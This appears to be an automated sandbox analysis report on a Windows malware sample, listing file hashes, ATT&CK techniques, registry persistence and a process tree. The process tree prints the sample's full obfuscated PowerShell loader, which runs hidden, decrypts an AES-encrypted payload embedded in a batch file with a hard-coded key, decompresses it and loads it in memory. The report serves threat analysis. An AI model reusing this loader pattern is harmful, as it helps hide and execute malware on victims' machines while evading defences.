e149c6e690c79f77e57290d9b8262a4dfaac67c248dbb83fe9dfedd9c9eeafaa

Resubmissions

10/02/2023, 22:59

230210-2yskbahe71 7

10/02/2023, 22:48

230210-2q3ejshe88 7

Analysis

max time kernel
888s
max time network
898s
platform
windows7_x64
resource
win7-20220812-en
resource tags

arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
submitted
10/02/2023, 22:59

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General

Target

8609A8A1EFC7A4D2C0282CE10BC25B409A416C8CC9CF7C677CA2CCB1302D994F.exe
Size

14.8MB
MD5

274069bb41e7093eb4802f0a8c8ae123
SHA1

835b054cf117944407b5f909a8c065f4619cd01c
SHA256

8609a8a1efc7a4d2c0282ce10bc25b409a416c8cc9cf7c677ca2ccb1302d994f
SHA512

1d9b99b68ad422e29c5fc23e8291153581ebb375c641885e5f94ed688b6ab75a3d09c43e953255a7d955501a4797eec79467a144fc0fc2b97b04b4ec69660a39
SSDEEP

6144:6ahONp0yN90QECH6qXA7g5Zo4cfqcOzYxH1hJHhUfmGedmfFnX4sEK:6ily90YaqcgUacOUx9HhOFeE9nIlK

Score

7^/10

persistence

Malware Config

Signatures

Executes dropped EXE 1 IoCs

pid	Process
2036	Up.bat.exe

Loads dropped DLL 1 IoCs

pid	Process
1168	cmd.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce	8609A8A1EFC7A4D2C0282CE10BC25B409A416C8CC9CF7C677CA2CCB1302D994F.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	8609A8A1EFC7A4D2C0282CE10BC25B409A416C8CC9CF7C677CA2CCB1302D994F.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2036	Up.bat.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2036	Up.bat.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 268 wrote to memory of 1168	268	8609A8A1EFC7A4D2C0282CE10BC25B409A416C8CC9CF7C677CA2CCB1302D994F.exe	28
PID 268 wrote to memory of 1168	268	8609A8A1EFC7A4D2C0282CE10BC25B409A416C8CC9CF7C677CA2CCB1302D994F.exe	28
PID 268 wrote to memory of 1168	268	8609A8A1EFC7A4D2C0282CE10BC25B409A416C8CC9CF7C677CA2CCB1302D994F.exe	28
PID 1168 wrote to memory of 2036	1168	cmd.exe	30
PID 1168 wrote to memory of 2036	1168	cmd.exe	30
PID 1168 wrote to memory of 2036	1168	cmd.exe	30

C:\Users\Admin\AppData\Local\Temp\8609A8A1EFC7A4D2C0282CE10BC25B409A416C8CC9CF7C677CA2CCB1302D994F.exe
"C:\Users\Admin\AppData\Local\Temp\8609A8A1EFC7A4D2C0282CE10BC25B409A416C8CC9CF7C677CA2CCB1302D994F.exe"
1⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:268
- C:\Windows\system32\cmd.exe
  cmd /c Up.bat
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:1168
- - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Up.bat.exe
    "Up.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $SaAbs = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Up.bat').Split([Environment]::NewLine);foreach ($UFyiL in $SaAbs) { if ($UFyiL.StartsWith(':: ')) { $YQujV = $UFyiL.Substring(3); break; }; };$RazOX = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($YQujV);$MjptO = New-Object System.Security.Cryptography.AesManaged;$MjptO.Mode = [System.Security.Cryptography.CipherMode]::CBC;$MjptO.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$MjptO.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Jd47GHuiydSoko9oLdGQxC9WO8IZyj5IWAA4bz8g7is=');$MjptO.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('5uySHjMtqAtyGaRnEWTbpQ==');$PqYhT = $MjptO.CreateDecryptor();$RazOX = $PqYhT.TransformFinalBlock($RazOX, 0, $RazOX.Length);$PqYhT.Dispose();$MjptO.Dispose();$shGEU = New-Object System.IO.MemoryStream(, $RazOX);$CoAGN = New-Object System.IO.MemoryStream;$mQWhw = New-Object System.IO.Compression.GZipStream($shGEU, [IO.Compression.CompressionMode]::Decompress);$mQWhw.CopyTo($CoAGN);$mQWhw.Dispose();$shGEU.Dispose();$CoAGN.Dispose();$RazOX = $CoAGN.ToArray();$pJsJl = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($RazOX);$RHiDW = $pJsJl.EntryPoint;$RHiDW.Invoke($null, (, [string[]] ('')))
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2036

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Up.bat

Filesize
450.0MB

MD5
2ab94aa86594eca58d642dd64be93b2b

SHA1
ba969f3e392eb1d93eaa40972bb01c2127dd5e84

SHA256
b4c174a6da244980457cfb09ef25eae827d151264fa837ae8c0b6351d7ee42bf

SHA512
7ff30cb915af868ff4176dfb465799c395175635626190ff61812a59924e96c0cf5c238a5ebd42c70423ddb2f8313e75b63b6e02ca2cc5e33a2a09255faf3397

Download Submit
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Up.bat.exe

Filesize
462KB

MD5
852d67a27e454bd389fa7f02a8cbe23f

SHA1
5330fedad485e0e4c23b2abe1075a1f984fde9fc

SHA256
a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

SHA512
327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

Download Submit
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Up.bat.exe

Filesize
462KB

MD5
852d67a27e454bd389fa7f02a8cbe23f

SHA1
5330fedad485e0e4c23b2abe1075a1f984fde9fc

SHA256
a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

SHA512
327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

Download Submit
\Users\Admin\AppData\Local\Temp\IXP000.TMP\Up.bat.exe

Filesize
462KB

MD5
852d67a27e454bd389fa7f02a8cbe23f

SHA1
5330fedad485e0e4c23b2abe1075a1f984fde9fc

SHA256
a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

SHA512
327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

Download Submit
memory/268-54-0x000007FEFC101000-0x000007FEFC103000-memory.dmp

Filesize
8KB

Download
memory/2036-61-0x000007FEF4E60000-0x000007FEF5883000-memory.dmp

Filesize
10.1MB

Download
memory/2036-63-0x0000000002514000-0x0000000002517000-memory.dmp

Filesize
12KB

Download
memory/2036-62-0x000007FEF4300000-0x000007FEF4E5D000-memory.dmp

Filesize
11.4MB

Download
memory/2036-64-0x0000000002514000-0x0000000002517000-memory.dmp

Filesize
12KB

Download
memory/2036-65-0x000000000251B000-0x000000000253A000-memory.dmp

Filesize
124KB

Download
memory/2036-66-0x0000000002514000-0x0000000002517000-memory.dmp

Filesize
12KB

Download
memory/2036-67-0x000000000251B000-0x000000000253A000-memory.dmp

Filesize
124KB

Download